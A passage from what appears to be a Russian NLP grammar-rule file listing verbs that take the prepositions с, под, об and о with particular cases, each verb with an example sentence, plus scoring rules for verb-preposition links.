rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
